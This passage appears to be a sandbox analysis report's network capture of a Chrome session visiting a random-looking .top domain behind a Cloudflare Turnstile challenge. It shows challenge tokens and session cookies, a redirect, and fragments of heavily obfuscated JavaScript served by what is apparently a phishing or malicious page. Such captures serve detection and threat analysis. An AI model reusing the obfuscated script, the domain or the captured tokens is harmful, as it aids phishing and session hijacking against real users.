2024-10-25 08:20:12 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	50168	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:13 UTC	886	OUT	POST /cdn-cgi/challenge-platform/h/b/rc/8d80c8d89fe42e6c HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive Content-Length: 980 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
2024-10-25 08:20:13 UTC	980	OUT	Data Raw: 7b 22 73 69 74 65 6b 65 79 22 3a 22 30 78 34 41 41 41 41 41 41 41 79 57 4a 4c 4b 61 6a 64 73 4c 36 54 52 48 22 2c 22 73 65 63 6f 6e 64 61 72 79 54 6f 6b 65 6e 22 3a 22 30 2e 7a 51 34 52 6b 34 64 34 53 6a 64 6a 6f 59 4c 6d 4d 32 72 70 79 58 30 45 4b 42 45 52 4e 43 69 34 45 79 64 38 2d 4a 6b 6d 52 58 30 56 6d 52 51 51 59 4d 6b 39 54 7a 5a 51 36 46 42 4a 4c 6b 41 45 41 6a 68 46 50 56 63 4c 4c 7a 37 70 6a 38 32 6f 56 75 72 63 51 34 48 30 38 37 2d 44 56 74 32 6b 4c 41 61 4e 63 43 42 59 74 50 77 39 49 49 51 35 62 63 4b 6d 42 46 71 52 74 4a 6f 55 5f 57 30 68 35 68 58 5a 42 6c 63 57 50 4e 75 62 43 53 33 4d 70 7a 67 45 34 6d 34 31 56 61 70 32 57 30 31 46 52 43 5a 50 34 39 65 4f 6b 51 4b 6b 35 59 42 73 6e 39 31 71 4d 31 4f 4e 2d 42 6a 37 5a 74 61 6f 31 38 58 4e 35 Data Ascii: {"sitekey":"0x4AAAAAAAyWJLKajdsL6TRH","secondaryToken":"0.zQ4Rk4d4SjdjoYLmM2rpyX0EKBERNCi4Eyd8-JkmRX0VmRQQYMk9TzZQ6FBJLkAEAjhFPVcLLz7pj82oVurcQ4H087-DVt2kLAaNcCBYtPw9IIQ5bcKmBFqRtJoU_W0h5hXZBlcWPNubCS3MpzgE4m41Vap2W01FRCZP49eOkQKk5YBsn91qM1ON-Bj7Ztao18XN5
2024-10-25 08:20:13 UTC	1074	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:13 GMT Content-Type: application/json Content-Length: 21 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.thedagrouppseervicesdfrtycbgt.top; Priority=High; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He; Path=/; Expires=Sat, 25-Oct-25 08:20:13 GMT; Domain=.thedagrouppseervicesdfrtycbgt.top; Priority=High; HttpOnly; Secure; SameSite=None; Partitioned
2024-10-25 08:20:13 UTC	688	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 39 72 62 44 36 45 57 61 6c 43 31 77 50 59 31 48 33 6c 63 45 43 51 57 25 32 42 5a 48 74 53 4d 39 57 6b 63 7a 43 44 48 48 44 70 4d 63 79 30 75 66 46 35 4b 59 44 76 76 6c 78 65 35 5a 6d 4e 47 6e 47 4a 25 32 42 4a 55 50 70 47 67 59 65 4e 49 36 56 78 38 63 57 25 32 42 53 25 32 46 52 6c 6c 38 61 51 71 58 31 42 5a 6a 33 46 4b 5a 66 35 70 34 50 6c 54 4a 4c 71 35 56 48 4d 78 30 65 42 6c 6c 62 41 68 36 69 33 39 59 6d 6d 54 41 77 61 63 70 4d 55 52 67 36 66 7a 64 41 6b 54 4d 67 4e 6e 4c 25 32 46 51 31 33 58 4f 77 37 72 65 44 4f 31 4a 57 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9rbD6EWalC1wPY1H3lcECQW%2BZHtSM9WkczCDHHDpMcy0ufF5KYDvvlxe5ZmNGnGJ%2BJUPpGgYeNI6Vx8cW%2BS%2FRll8aQqX1BZj3FKZf5p4PlTJLq5VHMx0eBllbAh6i39YmmTAwacpMURg6fzdAkTMgNnL%2FQ13XOw7reDO1JW
2024-10-25 08:20:13 UTC	21	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 72 65 64 65 65 6d 65 64 22 7d Data Ascii: {"status":"redeemed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	50171	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:15 UTC	1460	OUT	POST /aHBkb0tkTlVXdFZtMnJhrobotaHBkb0tkTlVXdFZtMnJh HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive Content-Length: 1169 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrYv3Q9jn9GDwQEs6 Accept: / Origin: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
2024-10-25 08:20:15 UTC	1169	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 72 59 76 33 51 39 6a 6e 39 47 44 77 51 45 73 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 7a 58 77 47 71 6b 62 6c 36 58 65 58 33 54 73 6d 33 78 4a 65 45 53 66 51 46 4f 6b 6d 54 49 59 36 6c 66 4f 64 55 37 4f 4d 36 45 31 37 49 36 2d 4c 6d 49 5a 6d 6e 65 31 4e 67 69 42 50 33 34 42 49 51 58 37 49 6a 30 50 6f 34 32 4e 51 4b 6d 34 71 56 46 76 38 4f 6d 71 46 53 56 75 39 46 4a 71 33 70 72 37 56 6e 45 55 50 4b 56 36 46 45 6c 75 38 62 50 43 66 65 65 41 64 79 79 63 77 74 4c 32 6c 52 7a 65 30 47 4a 37 6a 66 4a 31 61 70 68 4b 57 4b 42 78 Data Ascii: ------WebKitFormBoundaryrYv3Q9jn9GDwQEs6Content-Disposition: form-data; name="cf-turnstile-response"0.zXwGqkbl6XeX3Tsm3xJeESfQFOkmTIY6lfOdU7OM6E17I6-LmIZmne1NgiBP34BIQX7Ij0Po42NQKm4qVFv8OmqFSVu9FJq3pr7VnEUPKV6FElu8bPCfeeAdyycwtL2lRze0GJ7jfJ1aphKWKBx
2024-10-25 08:20:16 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BwmlEHASnyMwFzXU9IMXNfdqShkrw3Jy9hY6CI%2FwzsZv7M9KqVSqWPUc40yds01y8o46eRO8ba0%2FOxpE3pZFx3LU6MjTdChrDp5eRjaEUJEGOD0LmSx9U6vhPGjvZPO4ej11%2FHGP38N4GsoWEBk1GYGS4caDPI1vflwfGarJ1qnwYOcE13ihW3C0uYAC30pf4SaWknt%2BNzCGEvOFRZIhFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c94f6908e8f5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1375&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2892&recv_bytes=3229&delivery_rate=2067094&cwnd=251&unsent_bytes=0&cid=11b1f669139963df&ts=749&x=0"
2024-10-25 08:20:16 UTC	35	IN	Data Raw: 31 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 75 72 6c 22 3a 22 22 7d 0d 0a Data Ascii: 1d{"status":"success","url":""}
2024-10-25 08:20:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50172	104.21.16.104	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:16 UTC	503	OUT	GET /cdn-cgi/challenge-platform/h/b/rc/8d80c8d89fe42e6c HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
2024-10-25 08:20:16 UTC	997	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:20:16 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 7AkMz+rWcnRmQf5tCRmtvCyM9wmwtLNwL5M=$nOXYDDTJdMJm/1Zm cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XIan7JcuJjQ43AVDPwYiSBD5cdHlmqgBEqxRcu3l%2BqZx9OpUw8u%2BfZg%2F%2FT1bgDDjz5Sgkkk9cjSE30w4BGZzb%2FCNKtTSJLt5d%2FGNJbyJZlDe2hWzamclO%2BqzgNNKAIC9PmSkpu%2BSvorvpGDxv9kMrEE%2B12PmvToBlY0iOrzOi%2FphPM2Cs0la5Jm2yB6621qMSz%2F6XibjkHvj%2FpwFBsvfYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c950bb0be73a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2244&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2890&recv_bytes=1081&delivery_rate=1285397&cwnd=243&unsent_bytes=0&cid=8f9e6fe85434bde8&ts=143&x=0"
2024-10-25 08:20:16 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	50179	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:17 UTC	1408	OUT	GET / HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
2024-10-25 08:20:21 UTC	1133	IN	HTTP/1.1 302 Found Date: Fri, 25 Oct 2024 08:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache location: ./&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570 x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bsi%2FW%2BmAuDHOiaUv3qWqSE%2B4OfgXfsCVMHkp1HeFZLIWMoGHl3veyPDO%2FDjeh%2FL5dO5JVv5yPhb7eD2uz2Umz3z2cDgmw7iSGUC5Tm9cIldoBS28vhXdHGzoWx%2FkuvtXBF4UauH8eMsLgbDBAV8MdFvVteOgXCvgKGpvixKfBnIFgU4s6lyPIUhA%2F9e7Ih5PKHFZ6p5q0Dkn6wTL8%2BqZ3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c95c9d224674-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1236&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2890&recv_bytes=1986&delivery_rate=2257209&cwnd=239&unsent_bytes=0&cid=b5ee901a0a955809&ts=2256&x=0"
2024-10-25 08:20:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50181	104.21.16.104	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:17 UTC	498	OUT	GET /aHBkb0tkTlVXdFZtMnJhrobotaHBkb0tkTlVXdFZtMnJh HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c
2024-10-25 08:20:21 UTC	1003	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dwPUl3iUEHYzXH1hKMnkjK8VfTslhD7khF5UIXKbKT33j3k8K%2FD5JmzTYnJM8RCOA7Py0mR6bbqUf90kcpnKkTlKj5RCci1zx%2BVOA%2BMEu7GQr9yCahT7RFaOZc1g13kfzj3%2Fs%2FlZG%2BV70TxUxqw5E7UsZnigB5MjKSBGNiy9bq71xoFaKLUNOrLiP%2FHjn4hCIAFr53cb8Q5d%2Ba%2Fzu89k5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c95c99402ca9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1343&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2890&recv_bytes=1076&delivery_rate=2107714&cwnd=251&unsent_bytes=0&cid=a1a229cc43a2b309&ts=2248&x=0"
2024-10-25 08:20:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	50180	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:21 UTC	1512	OUT	GET /&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570 HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
2024-10-25 08:20:21 UTC	916	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KuLJwx360H2hHnYVQcPwrrh%2BuBNMjzfIHR9QO9tkay%2FthTbpVapwY3gEZ%2Ba1K2z3NyNDP2AUse%2B%2BuzbNTHBhwj80MQGucPYT5MnvG%2FHQbek%2BJ36IbDnyqsarddueQrjv3gNFrfGgNrmQVTczqqyLgmT73vvmNb%2FGmu5lLZVCuCIhaw1oVmG40C4HHnFnxVSeRH33V%2BHdN82GFQqCEYA7IQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c971fe8ee9b1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1036&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2891&recv_bytes=2112&delivery_rate=2704014&cwnd=241&unsent_bytes=0&cid=36243165f5fafa83&ts=3785&x=0"
2024-10-25 08:20:21 UTC	453	IN	Data Raw: 31 35 38 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 5f 5f 5f 2f 36 37 31 62 35 34 63 35 39 37 64 62 39 2d 64 66 39 32 36 36 65 64 30 36 39 38 38 33 33 38 35 62 39 61 65 32 36 34 63 62 61 65 65 64 35 65 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 Data Ascii: 158d<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title></title> <script src="js___/671b54c597db9-df9266ed069883385b9ae264cbaeed5e"></script> <s
2024-10-25 08:20:21 UTC	1369	IN	Data Raw: 20 20 20 76 61 72 20 61 30 5f 30 78 32 32 63 62 61 33 3d 61 30 5f 30 78 31 36 32 63 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 63 30 34 32 66 2c 5f 30 78 34 35 61 31 39 64 29 7b 76 61 72 20 5f 30 78 31 62 30 39 66 34 3d 61 30 5f 30 78 31 36 32 63 2c 5f 30 78 35 31 65 38 38 66 3d 5f 30 78 35 63 30 34 32 66 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 33 36 39 35 62 37 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 62 30 39 66 34 28 30 78 31 36 37 29 29 2f 30 78 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 62 30 39 66 34 28 30 78 31 38 63 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 62 30 39 66 34 28 30 78 31 37 65 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 62 30 39 66 34 28 30 78 Data Ascii: var a0_0x22cba3=a0_0x162c;(function(_0x5c042f,_0x45a19d){var _0x1b09f4=a0_0x162c,_0x51e88f=_0x5c042f();while(!![]){try{var _0x3695b7=-parseInt(_0x1b09f4(0x167))/0x1*(-parseInt(_0x1b09f4(0x18c))/0x2)+-parseInt(_0x1b09f4(0x17e))/0x3+parseInt(_0x1b09f4(0x
2024-10-25 08:20:21 UTC	1369	IN	Data Raw: 30 5f 30 78 33 61 36 33 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 39 39 63 65 62 3b 7d 3b 72 65 74 75 72 6e 20 61 30 5f 30 78 33 61 36 33 28 29 3b 7d 76 61 72 20 61 30 5f 30 78 35 65 34 61 63 64 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 34 31 61 38 62 3d 21 21 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 64 30 33 63 62 2c 5f 30 78 32 66 33 37 34 30 29 7b 76 61 72 20 5f 30 78 35 61 66 65 34 35 3d 5f 30 78 33 34 31 61 38 62 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 66 65 30 38 64 31 3d 61 30 5f 30 78 31 36 32 63 3b 69 66 28 5f 30 78 32 66 33 37 34 30 29 7b 76 61 72 20 5f 30 78 35 39 64 34 61 31 3d 5f 30 78 32 66 33 37 34 30 5b 5f 30 78 66 65 30 38 64 31 28 30 78 31 38 35 Data Ascii: 0_0x3a63=function(){return _0x299ceb;};return a0_0x3a63();}var a0_0x5e4acd=(function(){var _0x341a8b=!![];return function(_0x3d03cb,_0x2f3740){var _0x5afe45=_0x341a8b?function(){var _0xfe08d1=a0_0x162c;if(_0x2f3740){var _0x59d4a1=_0x2f3740[_0xfe08d1(0x185
